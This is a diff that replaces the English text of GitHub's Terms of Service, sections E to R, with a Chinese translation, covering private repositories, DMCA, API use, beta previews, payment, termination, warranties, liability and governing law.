-To the extent this agreement is not enforceable by applicable law, you grant GitHub the rights we need to use Your Content without attribution and to make reasonable adaptations of Your Content as necessary to render the Website and provide the Service.
+在适用法律不能强制执行本协议的范围内，您授权 GitHub 无归属使用您的内容，并在必要时对您的内容进行合理的修改，以便呈现网站和提供服务。
 
-## E. Private Repositories
-**Short version:** *We treat the content of private repositories as confidential, and we only access it as described in our Privacy Statement—for security purposes, to assist the repository owner with a support matter, to maintain the integrity of the Service, to comply with our legal obligations, if we have reason to believe the contents are in violation of the law, or with your consent.*
+## E. 私有仓库
+**概述：** *我们将私有仓库的内容视为机密信息，我们仅按照隐私声明中的规定访问它 — 出于安全目的、为了帮助仓库所有者解决支持问题、保持服务的完整性、履行我们的法律义务、我们有理由认为内容违法或者经您同意。*
 
-### 1. Control of Private Repositories
-Some Accounts may have private repositories, which allow the User to control access to Content.
+### 1. 私有仓库的控制
+某些帐户可能有私有仓库，允许用户控制对内容的访问。
 
-### 2. Confidentiality of Private Repositories
-GitHub considers the contents of private repositories to be confidential to you. GitHub will protect the contents of private repositories from unauthorized use, access, or disclosure in the same manner that we would use to protect our own confidential information of a similar nature and in no event with less than a reasonable degree of care.
+### 2. 私有仓库的保密
+GitHub 将私有仓库的内容视为您的机密。 GitHub 将保护私有仓库的内容，防止受未授权的使用和访问，在披露时就像处理我们自己性质类似的机密信息一样，在任何情况下都不低于合理的谨慎程度。
 
-### 3. Access
-GitHub personnel may only access the content of your private repositories in the situations described in our [Privacy Statement](/github/site-policy/github-privacy-statement#repository-contents).
+### 3. 访问
+GitHub 工作人员只能在我们的[隐私声明](/github/site-policy/github-privacy-statement#repository-contents)所述的情况下访问您私有仓库的内容。
 
-You may choose to enable additional access to your private repositories. For example:
-- You may enable various GitHub services or features that require additional rights to Your Content in private repositories. These rights may vary depending on the service or feature, but GitHub will continue to treat your private repository Content as confidential. If those services or features require rights in addition to those we need to provide the GitHub Service, we will provide an explanation of those rights.
+您可选择对您私有仓库启用其他访问权限。 例如：
+- 例如，您可向不同的 GitHub 服务或功能授予对私有仓库中您的内容的额外访问权限。 这些权限可能因服务或功能而异，但 GitHub 将继续将您的私有仓库内容视为机密。 如果这些服务或功能除了提供 GitHub 服务所需的权限之前，还需要其他权限，我们将会说明这些权限。
 
-Additionally, we may be [compelled by law](/github/site-policy/github-privacy-statement#for-legal-disclosure) to disclose the contents of your private repositories. 
+此外，我们可能[按法律要求](/github/site-policy/github-privacy-statement#for-legal-disclosure)披露您的私有仓库的内容。
 
-GitHub will provide notice regarding our access to private repository content, unless [for legal disclosure](/github/site-policy/github-privacy-statement#for-legal-disclosure), to comply with our legal obligations, or where otherwise bound by requirements under law, for automated scanning, or if in response to a security threat or other risk to security.
+GitHub 将提供有关我们访问私有仓库内容的通知，访问的目的无外乎[为了法律披露](/github/site-policy/github-privacy-statement#for-legal-disclosure)，为了履行我们的法律义务或遵循法律要求的其他约束，提供自动扫描，或者应对安全威胁或其他安全风险。
 
-## F. Copyright Infringement and DMCA Policy
-If you believe that content on our website violates your copyright, please contact us in accordance with our [Digital Millennium Copyright Act Policy](/articles/dmca-takedown-policy/). If you are a copyright owner and you believe that content on GitHub violates your rights, please contact us via [our convenient DMCA form](https://github.com/contact/dmca) or by emailing copyright@github.com. There may be legal consequences for sending a false or frivolous takedown notice. Before sending a takedown request, you must consider legal uses such as fair use and licensed uses.
+## F. 版权侵权和 DMCA 政策
+如果您认为我们网站上的内容侵犯了您的版权， 请按照我们的[数字千禧年版权法政策](/articles/dmca-takedown-policy/)联系我们。 如果您是版权所有者并且您认为 GitHub 上的内容侵犯了您的权利，请通过[我们便利的 DMCA 表](https://github.com/contact/dmca)联系我们，或发送电子邮件到 copyright@github.com。 发出虚假或无聊的撤销通知可能会产生法律后果。 在发送撤销请求之前，您必须考虑合法用途，如公平使用和许可使用。
 
-We will terminate the Accounts of [repeat infringers](/articles/dmca-takedown-policy/#e-repeated-infringement) of this policy.
+我们将终止此政策[反复违反者](/articles/dmca-takedown-policy/#e-repeated-infringement)的帐户。
 
-## G. Intellectual Property Notice
-**Short version:** *We own the service and all of our content. In order for you to use our content, we give you certain rights to it, but you may only use our content in the way we have allowed.*
+## G. 知识产权通告
+**短版本：** *我们拥有服务和我们的所有内容。 为便于您使用我们的内容，我们向您授予某些权限，但你只能以我们允许的方式使用我们的内容。*
 
-### 1. GitHub's Rights to Content
-GitHub and our licensors, vendors, agents, and/or our content providers retain ownership of all intellectual property rights of any kind related to the Website and Service. We reserve all rights that are not expressly granted to you under this Agreement or by law. The look and feel of the Website and Service is copyright © GitHub, Inc. All rights reserved. You may not duplicate, copy, or reuse any portion of the HTML/CSS, Javascript, or visual design elements or concepts without express written permission from GitHub.
+### 1. GitHub 对内容的权利
+GitHub 和我们的许可人、供应商、代理和/或我们的内容提供者保留对与网站和服务所有知识产权的所有权。 我们保留本协议或法律未明确授予您的所有权利。 网站和服务外观的版权归 © GitHub, Inc. 所有。 未经 GitHub 明确的书面许可，您不得重复、复制或重复使用 HTML/CSS、Javascript 或者可视设计元素或概念的任何部分。
 
-### 2. GitHub Trademarks and Logos
-If you’d like to use GitHub’s trademarks, you must follow all of our trademark guidelines, including those on our logos page: https://github.com/logos.
+### 2. GitHub 商标和徽标
+如果您想要使用 GitHub 的商标，必须遵循我们所有的商标指南，包括我们徽标页面 https://github.com/logos 上的指南。
 
-### 3. License to GitHub Policies
-This Agreement is licensed under this [Creative Commons Zero license](https://creativecommons.org/publicdomain/zero/1.0/). For details, see our [site-policy repository](https://github.com/github/site-policy#license).
+### 3. GitHub 政策的许可
+本协议的许可采用[知识共享零许可](https://creativecommons.org/publicdomain/zero/1.0/)原则。 更多信息请参阅我们的[站点政策仓库](https://github.com/github/site-policy#license)。
 
-## H. API Terms
-**Short version:** *You agree to these Terms of Service, plus this Section H, when using any of GitHub's APIs (Application Provider Interface), including use of the API through a third party product that accesses GitHub.*
+## H. API 条款
+**短版本：** *在使用 GitHub 的任何 API（应用程序提供商界面）时，您同意这些服务条款以及本 H 部分，包括通过第三方产品使用 API 访问GitHub。*
 
-Abuse or excessively frequent requests to GitHub via the API may result in the temporary or permanent suspension of your Account's access to the API. GitHub, in our sole discretion, will determine abuse or excessive usage of the API. We will make a reasonable attempt to warn you via email prior to suspension.
+滥用或过于频繁地通过 API 请求 GitHub 可能导致暂时或永久中止您的帐户访问 API。 GitHub 将单方面决定是否滥用或过度使用 API。 在暂停帐户之前，我们采取合理的努力通过电子邮件警告您。
 
-You may not share API tokens to exceed GitHub's rate limitations.
+您不能分享超过 GitHub 比率限制的 API 令牌。
 
-You may not use the API to download data or Content from GitHub for spamming purposes, including for the purposes of selling GitHub users' personal information, such as to recruiters, headhunters, and job boards.
+您不能使用 API 从 GitHub 下载数据或内容用于垃圾邮件，包括出售 GitHub 用户的个人信息，如招募者、猎头和招聘网站。
 
-All use of the GitHub API is subject to these Terms of Service and the [GitHub Privacy Statement](https://github.com/site/privacy).
+GitHub API 的所有使用都必须遵守这些服务条款和 [GitHub 隐私声明](https://github.com/site/privacy)。
 
-GitHub may offer subscription-based access to our API for those Users who require high-throughput access or access that would result in resale of GitHub's Service.
+GitHub 可为需要高通量访问或者会导致 GitHub 服务转售的访问的用户提供基于订阅的 API 访问。
 
-## I. GitHub Additional Product Terms
-**Short version:** *You need to follow certain specific terms and conditions for GitHub's various features and products, and you agree to the Supplemental Terms and Conditions when you agree to this Agreement.*
+## I. GitHub 附加产品条款
+**短版本：** *您需要按照 GitHub 不同功能和产品的特定条款和条件，并且在同意本协议时也同意补充条款和条件。*
 
-Some Service features may be subject to additional terms specific to that feature or product as set forth in the GitHub Additional Product Terms. By accessing or using the Services, you also agree to the [GitHub Additional Product Terms](/github/site-policy/github-additional-product-terms).
+某些服务功能可能受 GitHub 附加产品条款中规定的该功能或产品特定附加条款的约束。 访问或使用服务即表示您也同意 [GitHub 附加产品条款](/github/site-policy/github-additional-product-terms)。
 
-## J. Beta Previews
-**Short version:** *Beta Previews may not be supported or may change at any time. You may receive confidential information through those programs that must remain confidential while the program is private. We'd love your feedback to make our Beta Previews better.*
+## J. 测试版预览
+**短版本：** *测试版预览可能不支持或随时更改。 您可以通过这些程序接收机密信息，在程序为私有时，这些信息必须保密。 我们希望您的反馈能改进我们的测试版预览。*
 
-### 1. Subject to Change
+### 1. 可能会变动
 
-Beta Previews may not be supported and may be changed at any time without notice. In addition, Beta Previews are not subject to the same security measures and auditing to which the Service has been and is subject. **By using a Beta Preview, you use it at your own risk.**
+测试版预览不受支持，可能随时更改而不另行通知。 此外，测试版预览不像服务一样采取同样的安全措施和审核。 **使用测试版预览的风险您自行承担。**
 
-### 2. Confidentiality
+### 2. 保密
 
-As a user of Beta Previews, you may get access to special information that isn’t available to the rest of the world. Due to the sensitive nature of this information, it’s important for us to make sure that you keep that information secret.
+作为测试版预览的用户，您可能有权访问在世界上其他地方无法获取的特殊信息。 鉴于此类信息的敏感性，确保您对此类信息保密对我们而言非常重要。
 
-**Confidentiality Obligations.** You agree that any non-public Beta Preview information we give you, such as information about a private Beta Preview, will be considered GitHub’s confidential information (collectively, “Confidential Information”), regardless of whether it is marked or identified as such. You agree to only use such Confidential Information for the express purpose of testing and evaluating the Beta Preview (the “Purpose”), and not for any other purpose. You should use the same degree of care as you would with your own confidential information, but no less than reasonable precautions to prevent any unauthorized use, disclosure, publication, or dissemination of our Confidential Information. You promise not to disclose, publish, or disseminate any Confidential Information to any third party, unless we don’t otherwise prohibit or restrict such disclosure (for example, you might be part of a GitHub-organized group discussion about a private Beta Preview feature).
+**保密义务。**您同意，我们向您提供的任何非公开信息，例如关于私有测试版预览的信息，均应视为 GitHub 的机密信息（统称为“机密信息”），无论其是否被标记或标识为机密信息。 您同意，只将此类机密信息用于测试和评估预测试版预览的目的（“目的”），而不得用于任何其他用途。 您应该像对待自己的机密信息一样保护我们的机密信息，并且至少要采取合理的预防措施，以防止未经授权使用、披露、发布或传播我们的机密信息。 您承诺不向任何第三方披露、公布或传播任何机密信息，除非我们不禁止或限制此种披露（例如，您可能参与了 GitHub 组建的关于私人测试版预览功能的小组讨论）。
 
-**Exceptions.** Confidential Information will not include information that is: (a) or becomes publicly available without breach of this Agreement through no act or inaction on your part (such as when a private Beta Preview becomes a public Beta Preview); (b) known to you before we disclose it to you; (c) independently developed by you without breach of any confidentiality obligation to us or any third party; or (d) disclosed with permission from GitHub. You will not violate the terms of this Agreement if you are required to disclose Confidential Information pursuant to operation of law, provided GitHub has been given reasonable advance written notice to object, unless prohibited by law. 
+**例外。**机密信息不包括如下信息：(a) 不是因为您违反本协议的行为或不作为而变得公开的信息（例如当私人测试版预览变成公开测试版预览时）；(b) 在我们向你披露之前您已知道；(c) 由您独立开发，且不违反对我们或任何第三方的任何保密义务；或 (d) 经 GitHub 许可披露。 如果法律要求您披露机密信息，则不视同违反本协定的条款，但要合理事先书面通知 GitHub，除非法律禁止事先通知。
 
-### 3. Feedback
+### 3. 反馈
 
-We’re always trying to improve of products and services, and your feedback as a Beta Preview user will help us do that. If you choose to give us any ideas, know-how, algorithms, code contributions, suggestions, enhancement requests, recommendations or any other feedback for our products or services (collectively, “Feedback”), you acknowledge and agree that GitHub will have a royalty-free, fully paid-up, worldwide, transferable, sub-licensable, irrevocable and perpetual license to implement, use, modify, commercially exploit and/or incorporate the Feedback into our products, services, and documentation.
+我们一直在努力改进产品和服务，作为测试版预览的用户，您的反馈将有助于我们的改进。 如果您选择提供关于我们产品或服务的任何想法、知识、算法、代码贡献、意见、增强要求、建议或任何其他反馈（统称为“反馈”），则表示您确认并同意，GitHub 将对反馈拥有免版税、全部付清、全球范围、可转让、可再许可、不可撤销且永久性的许可，有权实施、使用、修改及商业利用反馈和 /或将反馈纳入我们的产品、服务和文档中。
 
-## K. Payment
-**Short version:** *You are responsible for any fees associated with your use of GitHub. We are responsible for communicating those fees to you clearly and accurately, and letting you know well in advance if those prices change.*
+## K. 付款
+**短版本：** *您负责与您使用 GitHub 相关的任何费用。 我们有责任向您明确和准确地告知这些费用，如果这些价格发生变化，会提前让您知道。*
 
-### 1. Pricing
-Our pricing and payment terms are available at [github.com/pricing](https://github.com/pricing). If you agree to a subscription price, that will remain your price for the duration of the payment term; however, prices are subject to change at the end of a payment term.
+### 1. 定价
+我们的定价和付款条件发布于 [github.com/price](https://github.com/pricing)。 如果您同意订阅价格，在付款期限内将保持这个价格；但在付款期结束时价格可能会有变化。
 
-### 2. Upgrades, Downgrades, and Changes
-- We will immediately bill you when you upgrade from the free plan to any paying plan.
-- If you change from a monthly billing plan to a yearly billing plan, GitHub will bill you for a full year at the next monthly billing date.
-- If you upgrade to a higher level of service, we will bill you for the upgraded plan immediately.
-- You may change your level of service at any time by [choosing a plan option](https://github.com/pricing) or going into your [Billing settings](https://github.com/settings/billing). If you choose to downgrade your Account, you may lose access to Content, features, or capacity of your Account. Please see our section on [Cancellation](#l-cancellation-and-termination) for information on getting a copy of that Content.
+### 2. 升级、降级和更改
+- 当您从免费计划升级到任何付款计划时，我们会立即对您计费。
+- 如果您从月度结算方案改为年度结算方案，GitHub 将在下一个月度结算日期向您收取全年费用。
+- 如果您升级到更高的服务水平，我们将立即按升级的计划对您计费。
+- 您可随时通过[选择计划选项](https://github.com/pricing)或进入[计费设置](https://github.com/settings/billing)更改您的服务水平。 如果您选择降级您的帐户，可能会失去对您帐户的内容、功能或容量的访问权限。 请参阅我们关于[取消](#l-cancellation-and-termination)的部分以获取该内容的副本。
 
-### 3. Billing Schedule; No Refunds
-**Payment Based on Plan** For monthly or yearly payment plans, the Service is billed in advance on a monthly or yearly basis respectively and is non-refundable. There will be no refunds or credits for partial months of service, downgrade refunds, or refunds for months unused with an open Account; however, the service will remain active for the length of the paid billing period. In order to treat everyone equally, no exceptions will be made.
+### 3. 计费时间表；无退款
+**基于计划的付款** 对于月度或年度付款计划，服务分别按月或年预先开具帐单，不可退款。 对于只使用部分服务、降级使用或未使用的月数，将不予退款，也没有积分补偿；但服务将在已付费的计费周期内保持有效。 为了平等对待每一个人，将不会有例外情况。
 
-**Payment Based on Usage** Some Service features are billed based on your usage. A limited quantity of these Service features may be included in your plan for a limited term without additional charge. If you choose to purchase paid Service features beyond the quantity included in your plan, you pay for those Service features based on your actual usage in the preceding month. Monthly payment for these purchases will be charged on a periodic basis in arrears. See [GitHub Additional Product Terms for Details](/github/site-policy/github-additional-product-terms).
+**基于使用情况的计费** 一些服务功能根据使用情况计费。 这些服务功能的数量有限，可能包含在您的限期计划中，无需额外收费。 如果您选择购买超出计划所含数量的付费服务功能，则根据您上月的实际使用情况支付这些服务功能。 这些购买的每月费用将定期收取。 详情请参阅 [GitHub 附加产品条款](/github/site-policy/github-additional-product-terms)。
 
-**Invoicing** For invoiced Users, User agrees to pay the fees in full, up front without deduction or setoff of any kind, in U.S. Dollars. User must pay the fees within thirty (30) days of the GitHub invoice date. Amounts payable under this Agreement are non-refundable, except as otherwise provided in this Agreement. If User fails to pay any fees on time, GitHub reserves the right, in addition to taking any other action at law or equity, to (i) charge interest on past due amounts at 1.0% per month or the highest interest rate allowed by law, whichever is less, and to charge all expenses of recovery, and (ii) terminate the applicable order form. User is solely responsible for all taxes, fees, duties and governmental assessments (except for taxes based on GitHub's net income) that are imposed or become due in connection with this Agreement.
+**发票** 对于开发票的用户，用户同意以美元全额预付费用，没有任何形式的扣减或抵销。 美元。 用户必须在 GitHub 发票日期的三十 (30) 天内支付费用。 除本协定另有规定外，根据本协议应付的金额不可退款。 如果用户未及时支付任何费用，GitHub 有权寻求法律或公平裁决的任何行动，并且 (i) 以每月 1.0% 或法律允许的最高利率（取较小者）对逾期金额收取利息，并收取所有恢复费用，以及 (ii) 终止适用的订单。 用户独自负责本协议造成或与之相关的所有税、费、关税和政府评估（基于 GitHub 净收入的税除外）。
 
-### 4. Authorization
-By agreeing to these Terms, you are giving us permission to charge your on-file credit card, PayPal account, or other approved methods of payment for fees that you authorize for GitHub.
+### 4. 授权
+同意这些条款即表示您许可我们从您备案的信用卡、PayPal 帐户或您授权给 GitHub 的其他已批准付款方式扣费。
 
-### 5. Responsibility for Payment
-You are responsible for all fees, including taxes, associated with your use of the Service. By using the Service, you agree to pay GitHub any charge incurred in connection with your use of the Service.  If you dispute the matter, contact [GitHub Support](https://support.github.com/contact?tags=docs-policy). You are responsible for providing us with a valid means of payment for paid Accounts. Free Accounts are not required to provide payment information.
+### 5. 付款责任
+您负责与您使用服务相关的所有费用，包括税款。 使用服务即表示您同意向 GitHub 支付与您使用服务有关的任何费用。  如有争议，请联系 [GitHub 支持](https://support.github.com/contact?tags=docs-policy)。 您负责向我们提供付费帐户的有效付款方式。 免费帐户无需提供付款信息。
 
-## L. Cancellation and Termination
-**Short version:** *You may close your Account at any time. If you do, we'll treat your information responsibly.*
+## L. 取消和终止
+**短版本：** *您可随时关闭您的帐户。 如果您关闭帐户，我们将负责任地处理您的信息。*
 
-### 1. Account Cancellation
-It is your responsibility to properly cancel your Account with GitHub. You can [cancel your Account at any time](/articles/how-do-i-cancel-my-account/) by going into your Settings in the global navigation bar at the top of the screen. The Account screen provides a simple, no questions asked cancellation link. We are not able to cancel Accounts in response to an email or phone request.
+### 1. 帐户取消
+您有责任通过 GitHub 适当取消您的帐户。 您可以进入屏幕顶部全球导航栏的 Settings（设置）[随时取消您的帐户](/articles/how-do-i-cancel-my-account/)。 Account（帐户）屏幕提供了一个简单、没有问题的取消链接。 我们无法通过回复电子邮件或电话申请来取消帐户。
 
-### 2. Upon Cancellation
-We will retain and use your information as necessary to comply with our legal obligations, resolve disputes, and enforce our agreements, but barring legal requirements, we will delete your full profile and the Content of your repositories within 90 days of cancellation or termination (though some information may remain in encrypted backups). This information can not be recovered once your Account is cancelled.
+### 2. 取消后
+我们将根据需要保留并使用您的信息，以履行我们的法律义务、解决争端和执行我们的协议，但是除非法律要求，否则 我们将在取消或终止后 90 天内删除您的全部个人资料和仓库的内容（虽然有些信息可能保留在加密的备份中）。 这些信息在您的帐户取消后无法恢复。
 
-We will not delete Content that you have contributed to other Users' repositories or that other Users have forked.
+我们不会删除您已贡献到其他用户的仓库或者该用户已复刻的内容。
 
-Upon request, we will make a reasonable effort to provide an Account owner with a copy of your lawful, non-infringing Account contents after Account cancellation, termination, or downgrade. You must make this request within 90 days of cancellation, termination, or downgrade.
+在帐户取消、终止或降级后，我们将应要求作出合理努力，向帐户所有者提供一份合法、非侵权帐户内容的副本。 您必须在取消、终止或降级后 90 天内提出此请求。
 
-### 3. GitHub May Terminate
-GitHub has the right to suspend or terminate your access to all or any part of the Website at any time, with or without cause, with or without notice, effective immediately. GitHub reserves the right to refuse service to anyone for any reason at any time.
+### 3. GitHub 可能终止
+GitHub 有权在任何时候暂停或终止您对网站全部或任何部分的访问，无论有无理由或有无通知，均立即生效。 GitHub 保留随时以任何理由拒绝提供服务的权利。
 
-### 4. Survival
-All provisions of this Agreement which, by their nature, should survive termination *will* survive termination — including, without limitation: ownership provisions, warranty disclaimers, indemnity, and limitations of liability.
+### 4. 存续
+本协议在终止时性质上应存续的所有条款都*将*在终止时存续，包括但不限于所有权条款、担保免责声明、赔偿和责任限制。
 
-## M. Communications with GitHub
-**Short version:** *We use email and other electronic means to stay in touch with our users.*
+## M. 与 GitHub 的通信
+**短版本：** *我们使用电子邮件和其他电子方式与用户保持联系。*
 
-### 1. Electronic Communication Required
-For contractual purposes, you (1) consent to receive communications from us in an electronic form via the email address you have submitted or via the Service; and (2) agree that all Terms of Service, agreements, notices, disclosures, and other communications that we provide to you electronically satisfy any legal requirement that those communications would satisfy if they were on paper. This section does not affect your non-waivable rights.
+### 1. 需要电子通信
+出于合同目的，您 (1) 同意通过您提交的电子邮件地址或通过服务从我们接收电子形式的通信；和 (2) 同意我们以电子形式提供的所有服务条款、协议、通知、披露和其他通信满足任何法律要求（如果以书面形式提供的这些通信满足法律要求）。 本部分不影响您不可放弃的权利。
 
-### 2. Legal Notice to GitHub Must Be in Writing
-Communications made through email or GitHub Support's messaging system will not constitute legal notice to GitHub or any of its officers, employees, agents or representatives in any situation where notice to GitHub is required by contract or any law or regulation. Legal notice to GitHub must be in writing and [served on GitHub's legal agent](/articles/guidelines-for-legal-requests-of-user-data/#submitting-requests).
+### 2. 给 GitHub 的法律通知必须是书面的
+在合同或者任何法律或条例要求向 GitHub 发出通知的任何情况下，通过电子邮件或 GitHub Support 的邮件系统进行的通信不构成向 GitHub 或其高管、员工、代理或代表发出的法律通知。 给 GitHub 的法律通知必须是书面的，并且[提供给 GitHub 的法律代理](/articles/guidelines-for-legal-requests-of-user-data/#submitting-requests)。
 
-### 3. No Phone Support
-GitHub only offers support via email, in-Service communications, and electronic messages. We do not offer telephone support.
+### 3. 无电话支持
+GitHub 仅通过电子邮件、服务中通信和电子信息提供支持。 我们不提供电话支持。
 
-## N. Disclaimer of Warranties
-**Short version:** *We provide our service as is, and we make no promises or guarantees about this service. Please read this section carefully; you should understand what to expect.*
+## N. 免责声明
+**短版本：** *我们按原样提供服务，对此服务我们不作任何承诺或保证。 请仔细阅读本节内容；您应该理解要求。*
 
-GitHub provides the Website and the Service “as is” and “as available,” without warranty of any kind. Without limiting this, we expressly disclaim all warranties, whether express, implied or statutory, regarding the Website and the Service including without limitation any warranty of merchantability, fitness for a particular purpose, title, security, accuracy and non-infringement.
+GitHub 按“原样”和“可获得性”提供网站和服务，不作任何形式的保证。 不限于此，关于网站和服务，我们明确否认所有保证，无论是明示、暗示还是法定保证，包括但不限于任何适销性、特定目的适用性、权利、安全性、准确性和非侵权。
 
-GitHub does not warrant that the Service will meet your requirements; that the Service will be uninterrupted, timely, secure, or error-free; that the information provided through the Service is accurate, reliable or correct; that any defects or errors will be corrected; that the Service will be available at any particular time or location; or that the Service is free of viruses or other harmful components. You assume full responsibility and risk of loss resulting from your downloading and/or use of files, information, content or other material obtained from the Service.
+GitHub 不保证服务将满足您的要求；服务不中断、及时、安全或无错；通过服务提供的信息准确、可靠或正确；任何缺陷或错误将得到更正；服务在任何特定时间或地点可用；服务没有病毒或其他有害成分。 对于因您下载和/或使用从服务获取的文件、信息、内容或其他材料而造成的任何损失风险，GitHub 概不负责。
 
-## O. Limitation of Liability
-**Short version:** *We will not be liable for damages or losses arising from your use or inability to use the service or otherwise arising under this agreement. Please read this section carefully; it limits our obligations to you.*
+## O. 责任限制
+**短版本：** *对因您使用或不能使用服务或本协议下产生的损害或损失，我们不承担责任。 请仔细阅读本节内容；它限制了我们对您的义务。*
 
-You understand and agree that we will not be liable to you or any third party for any loss of profits, use, goodwill, or data, or for any incidental, indirect, special, consequential or exemplary damages, however arising, that result from
+您理解并同意，对于以下原因产生的任何利润、使用、声誉或数据损失，或者任何偶然、间接、特殊、后果性或惩戒性损害，我们对您或任何第三方不承担任何责任：
 
-- the use, disclosure, or display of your User-Generated Content;
-- your use or inability to use the Service;
-- any modification, price change, suspension or discontinuance of the Service;
-- the Service generally or the software or systems that make the Service available;
-- unauthorized access to or alterations of your transmissions or data;
-- statements or conduct of any third party on the Service;
-- any other user interactions that you input or receive through your use of the Service; or
-- any other matter relating to the Service.
+- 使用、披露或显示您的用户生成内容；
+- 您使用或无法使用服务；
+- 服务的任何修改、价格变动、暂停或终止；
+- 一般服务或提供服务的软件或系统；
+- 对您的传输或数据的未授权访问或更改；
+- 任何第三方对服务的声明或行为；
+- 您通过使用服务输入或接收的任何其他用户交互；或
+- 与服务有关的任何其他事项。
 
-Our liability is limited whether or not we have been informed of the possibility of such damages, and even if a remedy set forth in this Agreement is found to have failed of its essential purpose. We will have no liability for any failure or delay due to matters beyond our reasonable control.
+无论我们是否被告知此类损害的可能性，即使本协议规定的补救措施未能达到其基本目的，我们的责任都是有限的。 对于因超出我们合理控制范围的事项而导致的任何故障或延误，我们概不负责。
 
-## P. Release and Indemnification
-**Short version:** *You are responsible for your use of the service. If you harm someone else or get into a dispute with someone else, we will not be involved.*
+## P. 免除和赔偿
+**短版本：** *您负责您对服务的使用。 如果您伤害别人或与别人发生争端，我们不会涉入。*
 
-If you have a dispute with one or more Users, you agree to release GitHub from any and all claims, demands and damages (actual and consequential) of every kind and nature, known and unknown, arising out of or in any way connected with such disputes.
+如果您与一个或多个产品用户有争议，对于此类争议引起的或以任何方式与之相关的、已知或未知的、任何类型或性质的任何和所有索赔、要求和损害赔偿（实际和后果性的），您同意免除 GitHub 的任何赔偿责任。
 
-You agree to indemnify us, defend us, and hold us harmless from and against any and all claims, liabilities, and expenses, including attorneys’ fees, arising out of your use of the Website and the Service, including but not limited to your violation of this Agreement, provided that GitHub (1) promptly gives you written notice of the claim, demand, suit or proceeding; (2) gives you sole control of the defense and settlement of the claim, demand, suit or proceeding (provided that you may not settle any claim, demand, suit or proceeding unless the settlement unconditionally releases GitHub of all liability); and (3) provides to you all reasonable assistance, at your expense.
+您同意，对于因您使用网站和服务，包括但不限于您违反本协议，而引起的任何和所有索赔、责任和费用，您负责赔偿我们、为我们抗辩并保护我们免受任何损害，但 GitHub 应 (1) 及时向您提供有关索赔、要求、诉讼或程序的书面通知；(2) 赋予您对索赔、要求、诉讼或程序进行抗辩和解决的唯一控制权（但您对任何索赔、要求、诉讼或程序的解决方案必须无条件免除 GitHub 的所有责任）；以及 (3) 向您提供所有合理的协助，但费用由您承担。
 
-## Q. Changes to These Terms
-**Short version:** *We want our users to be informed of important changes to our terms, but some changes aren't that important — we don't want to bother you every time we fix a typo. So while we may modify this agreement at any time, we will notify users of any material changes and give you time to adjust to them.*
+## Q. 这些条款的变更
+**短版本：** *我们希望用户了解我们条款的重要变化，但有些更改并不是那么重要——我们不想每次修复错误时都打扰您。 因此，虽然我们可以随时修改本协议，但对于任何重大更改，我们都会通知用户，并给您时间进行调整。*
 
-We reserve the right, at our sole discretion, to amend these Terms of Service at any time and will update these Terms of Service in the event of any such amendments. We will notify our Users of material changes to this Agreement, such as price increases, at least 30 days prior to the change taking effect by posting a notice on our Website or sending email to the primary email address specified in your GitHub account. Customer's continued use of the Service after those 30 days constitutes agreement to those revisions of this Agreement. For any other modifications, your continued use of the Website constitutes agreement to our revisions of these Terms of Service. You can view all changes to these Terms in our [Site Policy](https://github.com/github/site-policy) repository.
+我们有权利独自裁量随时修订这些服务条款，并在发生任何此类修正时更新这些服务条款。 如果本协议发生重大变更，例如价格上涨，我们会在变更生效之前至少 30 天通知用户 - 在我们网站上发布通知，或者发送电子邮件到您的 GitHub 帐户中指定的主电子邮件地址。 客户在这 30 天后继续使用服务即构成对本协议修订的同意。 对于任何其他修改，您继续使用网站即表示同意我们对这些服务条款的修订。 在我们的[站点政策](https://github.com/github/site-policy)仓库中可查看这些条款的所有变更。
 
-We reserve the right at any time and from time to time to modify or discontinue, temporarily or permanently, the Website (or any part of it) with or without notice.
+我们保留随时和不时修改或停用（临时或永久）网站或其任何部分的权利，可能通知，也可能不通知。
 
-## R. Miscellaneous
+## R. 其他
 
-### 1. Governing Law
-Except to the extent applicable law provides otherwise, this Agreement between you and GitHub and any access to or use of the Website or the Service are governed by the federal laws of the United States of America and the laws of the State of California, without regard to conflict of law provisions. You and GitHub agree to submit to the exclusive jurisdiction and venue of the courts located in the City and County of San Francisco, California.
+### 1. 管辖法律
+除非适用法律另有规定，否则，您与 GitHub 之间的本协议以及对网站或服务的任何访问或使用，均受美国联邦法律和加利福尼亚州法律的管辖，不考虑冲突法原则。 您和 GitHub 均同意，位于加利福尼亚州旧金山县的法院具有专属管辖权和审判权。
 
-### 2. Non-Assignability
-GitHub may assign or delegate these Terms of Service and/or the [GitHub Privacy Statement](https://github.com/site/privacy), in whole or in part, to any person or entity at any time with or without your consent, including the license grant in Section D.4. You may not assign or delegate any rights or obligations under the Terms of Service or Privacy Statement without our prior written consent, and any unauthorized assignment and delegation by you is void.
+### 2. 不可转让
+GitHub 可随时将这些服务条款和/或 [GitHub 隐私声明](https://github.com/site/privacy)全部或部分转让或委托给任何个人或实体，可以征求或不征求您的同意，包括 D.4 部分的许可授予。 未经我们事先书面同意，您不得转让或委托服务条款或隐私声明下的任何权利或义务，任何未经授权的转让和授权都是无效的。
 
-### 3. Section Headings and Summaries
-Throughout this Agreement, each section includes titles and brief summaries of the following terms and conditions. These section titles and brief summaries are not legally binding.
+### 3. 章节标题和摘要
+在整个本协议中，每一节都包括下列条款和条件的标题和简短摘要。 这些章节的标题和简短摘要不具有法律约束力。
 
-### 4. Severability, No Waiver, and Survival
-If any part of this Agreement is held invalid or unenforceable, that portion of the Agreement will be construed to reflect the parties’ original intent. The remaining portions will remain in full force and effect. Any failure on the part of GitHub to enforce any provision of this Agreement will not be considered a waiver of our right to enforce such provision. Our rights under this Agreement will survive any termination of this Agreement.
+### 4. 可分割性、非弃权和继续有效
+如果本协议的任何部分被认为无效或不可执行，则该部分将被解释为反映缔约方的初衷。 其余部分仍具有完全效力。 GitHub 方面未执行本协议的任何规定，并不构成我们放弃执行该规定的权利。 我们在本协议下的权利在本协议终止后仍然有效。
 
-### 5. Amendments; Complete Agreement
-This Agreement may only be modified by a written amendment signed by an authorized representative of GitHub, or by the posting by GitHub of a revised version in accordance with [Section Q. Changes to These Terms](#q-changes-to-these-terms). These Terms of Service, together with the GitHub Privacy Statement, represent the complete and exclusive statement of the agreement between you and us. This Agreement supersedes any proposal or prior agreement oral or written, and any other communications between you and GitHub relating to the subject matter of these terms including any confidentiality or nondisclosure agreements.
+### 5. 修订；完整协议
+本协议只能通过 GitHub 授权代表签署的书面修订加以修改，或 GitHub 根据 [Q. 这些条款的变更](#q-changes-to-these-terms)发布的修订版予以修改。 这些服务条款以及 GitHub 隐私声明，构成了您与我们之间的完整、专有协议声明。 本协议取代任何口头或书面的提议或事先协议，以及您与 GitHub 之间关于这些条款所述主题的任何其他通信，包括任何保密或非披露协议。
 
